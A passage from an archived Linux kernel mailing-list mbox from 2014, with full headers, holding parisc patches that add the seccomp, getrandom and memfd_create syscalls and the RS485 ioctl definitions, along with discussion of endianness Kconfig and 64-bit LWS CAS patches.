         nPzu9z5YatcwWJvfPb1iphd+TXld/aIMsbi0/WTMg/0mFeu9D8G3tp7P+XBYFHvhW3dE
         K9eJhA8h3K+0C5Fuhy2M/5jC2L/N4mwdZEGusMbP+qtOAxbz28JLKt9azOvXd2u75U+g
         7BKqJo52CJPu5iDRbMOXAhi5C1b1JakiX2qAbJW0kQBgpqdKICHWPIQ/pqO12mP7fTA0
         iwZWzLl8P0CqiFDH3zSFAMyKxTwDrmV4w0St89bZNTOU89EC/pM8TtY+ss8tcbudpM3S
         Hjdw==
X-Received: by 10.68.196.226 with SMTP id ip2mr11022838pbc.120.1408969626086;
        Mon, 25 Aug 2014 05:27:06 -0700 (PDT)
Original-Received: from [192.168.1.23] ([124.127.118.42])
        by mx.google.com with ESMTPSA id qj1sm37362465pbb.24.2014.08.25.05.26.37
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 25 Aug 2014 05:27:04 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <53F9A48F.3020803@gmail.com>
X-archive-position: 42219
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43367 gmane.linux.ports.alpha:2360 gmane.linux.kernel:1773726 gmane.linux.ports.arm.kernel:350735 gmane.linux.ports.hexagon:766 gmane.linux.ports.ia64:24145 gmane.linux.ports.m68k:6096 gmane.linux.kernel.metag:257 gmane.linux.ports.openrisc:524 gmane.linux.ports.parisc:5991 gmane.linux.ports.ppc64.devel:104564 gmane.linux.ports.sparc:19504 gmane.linux.uml.devel:14573 gmane.linux.uml.user:14715 gmane.linux.ports.sh.devel:38465
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43367>

Hello all:

It seems no any additional rejections for it. I guess, I need split the
'big' patch into pieces, and each send to its' related mailing list, so
let it not like a spam. And the schedule may like:

 - Firstly, send patch for "init/Kconfig" to add CPU_*_ENDIAN. If pass
   checking (hope it can be passed checking), then

 - Send each related patch to each related architectures which already
   knew their ENDIAN attributes in config time (24 patches, I guess),
   then

 - Make patch for Kbuild to support __BUILDING_TIME_BIG_ENDIAN__, and
   pass checking (hope I can finish), then

 - Finish left architectures which need __BUILDING_TIME_BIG_ENDIAN__
   (4 patches, I guess).

Welcome any ideas, suggestions, or completions. And if no additional
reply, I shall not send any additional information any more to avoid
spam to other members.


Thanks.

On 08/24/2014 04:38 PM, Chen Gang wrote:
> Hello Maintainers:
> 
> Is this patch OK? If it pass basic checking, please let me know, and I
> shall try to make another related patch for KBuild (I can do nothing
> related with Kbuild, before get confirmation for this patch).
> 
> Thanks.
> 
> On 8/15/14 17:01, Chen Gang wrote:
>>
>>
>> On 8/15/14 6:14, Chen Gang wrote:
>>> On 08/15/2014 02:04 AM, Ralf Baechle wrote:
>>>>
>>>
>>> OK, thanks, I assumes when support both endian, the default choice is
>>> CPU_BIG_ENDIAN, although no default value for choice (originally, I did
>>> worry about it).
>>>
>>>> So I think you can just drop the MIPS segment from your patch.
>>>>
>>>
>>> If what I assumes is correct, what you said sounds reasonable to me.
>>>
>>>
>>
>> So for me, it is harmless to add CPU_*_ENDIAN explicitly, and can let
>> other members don't need think of.
>>
>> By the way, for sh, it is almost the same case, except it contents the
>> default value, for me, it is clear enough, so I skip sh architecture in
>> this patch.
>>
>>
>> Thanks
>>
> 

-- 
Chen Gang

Open, share, and attitude like air, water, and life which God blessed



From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up seccomp, getrandom and memfd_create syscalls
Date: Tue, 26 Aug 2014 21:47:42 +0200
Lines: 131
Approved: news@gmane.org
Message-ID: <20140826194742.GA16455@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1409082482 9690 80.91.229.3 (26 Aug 2014 19:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2014 19:48:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 21:47:55 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XMMie-0007an-8o
	for glpp-linux-parisc@plane.gmane.org; Tue, 26 Aug 2014 21:47:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753439AbaHZTrv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2014 15:47:51 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50629 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752977AbaHZTru (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2014 15:47:50 -0400
Original-Received: from ls3530.box ([84.173.18.151]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MfVYB-1Wyx4W45E3-00P6yb; Tue, 26 Aug 2014 21:47:44
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:AeJoQQ2kZ1HTsx8A2JniDv26RLZIn/4ee7XucNKL+Qr5HlxvvPu
 OCiqTTLT/oIPa/k+xMCUHVi7SdTyCK2NDmmli9boDohyRQOJttHgT0jzCj+EPl8VLWVoKuv
 UAMobFhtk+9iba6TR5oRee4eamjSarLHhY/0cLxH7rXZdoP1AwruAjhzwxiL5zHuZjnMTW1
 xY7xasGr0fcMu9uu6Ej/w==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5992>

With secure computing we only support the SECCOMP_MODE_STRICT mode for now.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 6e75e20..1554a6f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -321,6 +321,22 @@ source "fs/Kconfig"
 
 source "arch/parisc/Kconfig.debug"
 
+config SECCOMP
+	def_bool y
+	prompt "Enable seccomp to safely compute untrusted bytecode"
+	---help---
+	  This kernel feature is useful for number crunching applications
+	  that may need to compute untrusted bytecode during their
+	  execution. By using pipes or other transports made available to
+	  the process as file descriptors supporting the read/write
+	  syscalls, it's possible to isolate those applications in
+	  their own address space using seccomp. Once seccomp is
+	  enabled via prctl(PR_SET_SECCOMP), it cannot be disabled
+	  and the task is only allowed to execute a few safe syscalls
+	  defined by each seccomp mode.
+
+	  If unsure, say Y. Only embedded should say N here.
+
 source "security/Kconfig"
 
 source "crypto/Kconfig"
diff --git a/arch/parisc/include/asm/seccomp.h b/arch/parisc/include/asm/seccomp.h
--- /dev/null
+++ b/arch/parisc/include/asm/seccomp.h
@@ -0,0 +1,16 @@
+#ifndef _ASM_PARISC_SECCOMP_H
+#define _ASM_PARISC_SECCOMP_H
+
+#include <linux/unistd.h>
+
+#define __NR_seccomp_read __NR_read
+#define __NR_seccomp_write __NR_write
+#define __NR_seccomp_exit __NR_exit
+#define __NR_seccomp_sigreturn __NR_rt_sigreturn
+
+#define __NR_seccomp_read_32 __NR_read
+#define __NR_seccomp_write_32 __NR_write
+#define __NR_seccomp_exit_32 __NR_exit
+#define __NR_seccomp_sigreturn_32 __NR_rt_sigreturn
+
+#endif	/* _ASM_PARISC_SECCOMP_H */
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 4b9b10c..a846118 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -60,6 +60,7 @@ struct thread_info {
 #define TIF_NOTIFY_RESUME	8	/* callback before returning to user */
 #define TIF_SINGLESTEP		9	/* single stepping? */
 #define TIF_BLOCKSTEP		10	/* branch stepping? */
+#define TIF_SECCOMP		11	/* secure computing */
 
 #define _TIF_SYSCALL_TRACE	(1 << TIF_SYSCALL_TRACE)
 #define _TIF_SIGPENDING		(1 << TIF_SIGPENDING)
@@ -70,11 +71,13 @@ struct thread_info {
 #define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
 #define _TIF_SINGLESTEP		(1 << TIF_SINGLESTEP)
 #define _TIF_BLOCKSTEP		(1 << TIF_BLOCKSTEP)
+#define _TIF_SECCOMP		(1 << TIF_SECCOMP)
 
 #define _TIF_USER_WORK_MASK     (_TIF_SIGPENDING | _TIF_NOTIFY_RESUME | \
                                  _TIF_NEED_RESCHED)
 #define _TIF_SYSCALL_TRACE_MASK (_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP |	\
-				 _TIF_BLOCKSTEP | _TIF_SYSCALL_AUDIT)
+				 _TIF_BLOCKSTEP | _TIF_SYSCALL_AUDIT | \
+				 _TIF_SECCOMP)
 
 #ifdef CONFIG_64BIT
 # ifdef CONFIG_COMPAT
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 47e0e21..8667f18 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -830,8 +830,11 @@
 #define __NR_sched_getattr	(__NR_Linux + 335)
 #define __NR_utimes		(__NR_Linux + 336)
 #define __NR_renameat2		(__NR_Linux + 337)
+#define __NR_seccomp		(__NR_Linux + 338)
+#define __NR_getrandom		(__NR_Linux + 339)
+#define __NR_memfd_create	(__NR_Linux + 340)
 
-#define __NR_Linux_syscalls	(__NR_renameat2 + 1)
+#define __NR_Linux_syscalls	(__NR_memfd_create + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index e842ee2..3bab724 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -270,6 +270,12 @@ long do_syscall_trace_enter(struct pt_regs *regs)
 {
 	long ret = 0;
 
+	/* Do the secure computing check first. */
+	if (secure_computing(regs->gr[20])) {
+		/* seccomp failures shouldn't expose any additional code. */
+		return -1;
+	}
+
 	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
 	    tracehook_report_syscall_entry(regs))
 		ret = -1L;
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 84c5d3a..b563d9c 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -433,6 +433,9 @@
 	ENTRY_SAME(sched_getattr)	/* 335 */
 	ENTRY_COMP(utimes)
 	ENTRY_SAME(renameat2)
+	ENTRY_SAME(seccomp)
+	ENTRY_SAME(getrandom)
+	ENTRY_SAME(memfd_create)	/* 340 */
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCHv2] 64bit LWS CAS
Date: Tue, 26 Aug 2014 22:11:43 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <53FCE9FF.1080704@gmx.de>
References: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be> <53D810FB.9010406@gmx.de> <f4954acbf0d2c11646341cb93efdd247@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1409083924 28485 80.91.229.3 (26 Aug 2014 20:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2014 20:12:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 22:11:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XMN5w-0002Nl-KU
	for glpp-linux-parisc@plane.gmane.org; Tue, 26 Aug 2014 22:11:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754829AbaHZULy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2014 16:11:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:63681 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753774AbaHZULx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2014 16:11:53 -0400
Original-Received: from [192.168.178.60] ([84.173.18.151]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Ma1tv-1X2E2S36Q3-00LoSK; Tue, 26 Aug 2014 22:11:43
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <f4954acbf0d2c11646341cb93efdd247@tuxicoman.be>
X-Provags-ID: V03:K0:3q1v2v9Tu0PkfS1un8rwzkh1DBzHT4bbC0f0oweKBdpMbUKhyW8
 BF0dNtDGlARJ0VShOsr7DicwoZRBEac7Ws+hhwcsX7cPfgnP96ZvjOrpDpfimy16PCPZi3T
 yAYPXLX1SuJ+XujajHrl/ScRr92tRZLWxXzRE+sSi7cNjBJWmbgeUmVLqYAa5hFhuZYM9sK
 1fDwCkbwWK9JHjJ5lBGfQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5993>

Hi Guy,

should we try to do a last round of cleanup of this patch, since
I would like to include it in the next push to Linus...

On 07/30/2014 11:17 AM, Guy Martin wrote:
>>> Regading the GCC counterpart of the implementation, I'm not sure about
>>> the way to proceed.
>>>
>>> Should I try to detect the presence of the new LWS and use it for all
>>> CAS operations at init time ?
>>
>> I leave this up to Dave & Carlos to answer.

I think it's OK to stay using the existing 32bit implementation for 32bit CAS,
and just use the new one for 8/16/64 bit CAS.
And maybe: If the LWS fails, just crash the application.

>> Should we maybe drop the whole ENABLE_LWS_DEBUG thing? Was it ever used/enabled?
>
> Indeed, I have not tested it and I dropped it in this new patch.

Good.
In comments at the top still include info about the debug case:
-> "If debugging is DISabled:..."

>>> I guess that using the new LWS unconditionally for all CAS operations
>>> isn't an option since it will break for newer gcc on old kernels.
>>
>> Up to now we only had the 32bit CAS working correctly, so we shouldn't care much
>> about the other CAS anyway.
>> And if we get it backported into all relevant kernels before we change gcc
>> I would prefer this hard break...

I'm still thinking this is the right way.

Your patch had some whitespace errors too.
Please run it through the scripts/checkpatch tool in the kernel tree.

If you like I can take care of the suggested changes and send a revised patch for you?
Just let me know.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCHv2] 64bit LWS CAS
Date: Wed, 27 Aug 2014 10:35:58 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20140827103558.2521838e@dellete.lux.tuxicoman.be>
References: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be>
	<53D810FB.9010406@gmx.de>
	<f4954acbf0d2c11646341cb93efdd247@tuxicoman.be>
	<53FCE9FF.1080704@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1409128336 11136 80.91.229.3 (27 Aug 2014 08:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2014 08:32:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 27 10:32:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XMYeF-000586-4e
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Aug 2014 10:32:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752226AbaH0IcG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2014 04:32:06 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:59965 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751586AbaH0IcD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2014 04:32:03 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Wed, 27 Aug 2014 10:30:55 +0200
Original-Received: from [188.115.63.13] (helo=dellete.lux.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128)
	(Exim 4.80.1)
	(envelope-from <gmsoft@ibiza.lux.tuxicoman.be>)
	id 1XMYdo-0006hx-LQ; Wed, 27 Aug 2014 10:31:47 +0200
In-Reply-To: <53FCE9FF.1080704@gmx.de>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
X-Tuxicoman-Spam-Score: -2.9
X-Tuxicoman-Spam-Report: Spam detection software, running on the system "ibiza.lux.tuxicoman.be", has
 identified this incoming email as possible spam.  The original message
 has been attached to this so you can view it (if it isn't spam) or label
 similar future email.  If you have any questions, see
 "Guy Martin < gmsoft [@] tuxicoman [.] be >" for details.
 Content preview:  Hi Helge, On Tue, 26 Aug 2014 22:11:43 +0200 Helge Deller
   <deller@gmx.de> wrote: > should we try to do a last round of cleanup of this
    patch, since > I would like to include it in the next push to Linus... >
   > On 07/30/2014 11:17 AM, Guy Martin wrote: > >>> Regading the GCC counterpart
    of the implementation, I'm not sure > >>> about the way to proceed. > >>>
    > >>> Should I try to detect the presence of the new LWS and use it for >
    >>> all CAS operations at init time ? > >> > >> I leave this u 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5994>


Hi Helge,

On Tue, 26 Aug 2014 22:11:43 +0200
Helge Deller <deller@gmx.de> wrote:

> should we try to do a last round of cleanup of this patch, since
> I would like to include it in the next push to Linus...
> 
> On 07/30/2014 11:17 AM, Guy Martin wrote:
> >>> Regading the GCC counterpart of the implementation, I'm not sure
> >>> about the way to proceed.
> >>>
> >>> Should I try to detect the presence of the new LWS and use it for
> >>> all CAS operations at init time ?
> >>
> >> I leave this up to Dave & Carlos to answer.
> 
> I think it's OK to stay using the existing 32bit implementation for
> 32bit CAS, and just use the new one for 8/16/64 bit CAS.
> And maybe: If the LWS fails, just crash the application.

I seems like the best solution, at least apps will not use a broken
implementation for 8/16bit.

> >> Should we maybe drop the whole ENABLE_LWS_DEBUG thing? Was it ever
> >> used/enabled?
> >
> > Indeed, I have not tested it and I dropped it in this new patch.
> 
> Good.
> In comments at the top still include info about the debug case:
> -> "If debugging is DISabled:..."

Indeed.

> >>> I guess that using the new LWS unconditionally for all CAS
> >>> operations isn't an option since it will break for newer gcc on
> >>> old kernels.
> >>
> >> Up to now we only had the 32bit CAS working correctly, so we
> >> shouldn't care much about the other CAS anyway.
> >> And if we get it backported into all relevant kernels before we
> >> change gcc I would prefer this hard break...
> 
> I'm still thinking this is the right way.
> 
> Your patch had some whitespace errors too.
> Please run it through the scripts/checkpatch tool in the kernel tree.
> 
> If you like I can take care of the suggested changes and send a
> revised patch for you? Just let me know.


Please go ahead ! I just became a father and as you can imagine, I have
very little time to spend on hacking things up :)

Also, I'm not sure that the asm exception tables are working
correctly. I managed to crash my kernel on several occasions while
passing bad values, causing an invalid pointer dereference.


I'll try to work on the gcc patches but it won't be this week, maybe
next week, or I'll have more time in 2 weeks. If someone wants to step
in, feel free to do so too.

Regards,
  Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.serial
Subject: [PATCH 1/3] parisc/uapi: Add definition of TIOC[SG]RS485
Date: Tue,  9 Sep 2014 20:06:31 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <1410285991-24833-1-git-send-email-ricardo.ribalda@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1410286007 4825 80.91.229.3 (9 Sep 2014 18:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2014 18:06:47 +0000 (UTC)
Cc: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
To: "James E . J . Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:06:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XRPoM-0000Xn-6M
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Sep 2014 20:06:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751102AbaIISGh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2014 14:06:37 -0400
Original-Received: from mail-la0-f51.google.com ([209.85.215.51]:33068 "EHLO
	mail-la0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750954AbaIISGg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2014 14:06:36 -0400
Original-Received: by mail-la0-f51.google.com with SMTP id gi9so7576400lab.38
        for <multiple recipients>; Tue, 09 Sep 2014 11:06:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=/bkhyXZF9sg5Y9e11KEesuJo1mG9J1B9t7cHzBruvPA=;
        b=zxxleRzdreHhW2Bmm32HdEMOl8i/glt6qslPP6QEnvE8qveuhflcHtN0yqOmOLH/+R
         X7YwkyQFSVcOyK8OqMwwoNyq3j2mCeCbFO4oqSbV/i0LtNKDx2ndU92USXBB4dAYTMJa
         qNbMGcLKwBMLceCiKNG2fmyAXYqfFeriPNadh8+74pQLk9ibj6VNtUHwasrUujISjddv
         RTsYFlPfB4RF7eVVfhdIQvegYHfhLga02jEDHuOKuJwWyupxhiTvMlfGjGqO8RhvafG0
         nAt2YxeCk8wILr/9w7Vt9Q/QxXzlo9k1dMQHsOGaudO0qL0O1YBUjUACnhRX/005/AJq
         3/Ig==
X-Received: by 10.113.4.132 with SMTP id ce4mr35299464lbd.2.1410285994736;
        Tue, 09 Sep 2014 11:06:34 -0700 (PDT)
Original-Received: from neopili.qtec.com (x1-6-30-46-9a-6d-3c-54.cpe.webspeed.dk. [2.108.161.190])
        by mx.google.com with ESMTPSA id as5sm4501523lac.46.2014.09.09.11.06.32
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 09 Sep 2014 11:06:33 -0700 (PDT)
X-Mailer: git-send-email 2.1.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5996 gmane.linux.kernel:1783472 gmane.linux.serial:15768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5996>

Commit: e676253b19b2d269cccf67fdb1592120a0cd0676 (serial/8250: Add
support for RS485 IOCTLs), adds support for RS485 ioctls for 825_core on
all the archs. Unfortunaltely the definition of TIOCSRS485 and
TIOCGRS485 was missing on the ioctls.h file

Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
---
 arch/parisc/include/uapi/asm/ioctls.h | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index 66719c3..3af2d02 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -50,6 +50,8 @@
 #define TCSETS2		_IOW('T',0x2B, struct termios2)
 #define TCSETSW2	_IOW('T',0x2C, struct termios2)
 #define TCSETSF2	_IOW('T',0x2D, struct termios2)
+#define TIOCGRS485	0x542E
+#define TIOCSRS485	0x542F
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
 #define TIOCGDEV	_IOR('T',0x32, int)  /* Get primary device node of /dev/console */
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.serial
Subject: Re: [PATCH 1/3] parisc/uapi: Add definition of TIOC[SG]RS485
Date: Tue, 9 Sep 2014 11:43:18 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20140909184318.GA6231@kroah.com>
References: <1410285991-24833-1-git-send-email-ricardo.ribalda@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1410288210 2164 80.91.229.3 (9 Sep 2014 18:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2014 18:43:30 +0000 (UTC)
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-serial@vger.kernel.org
To: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
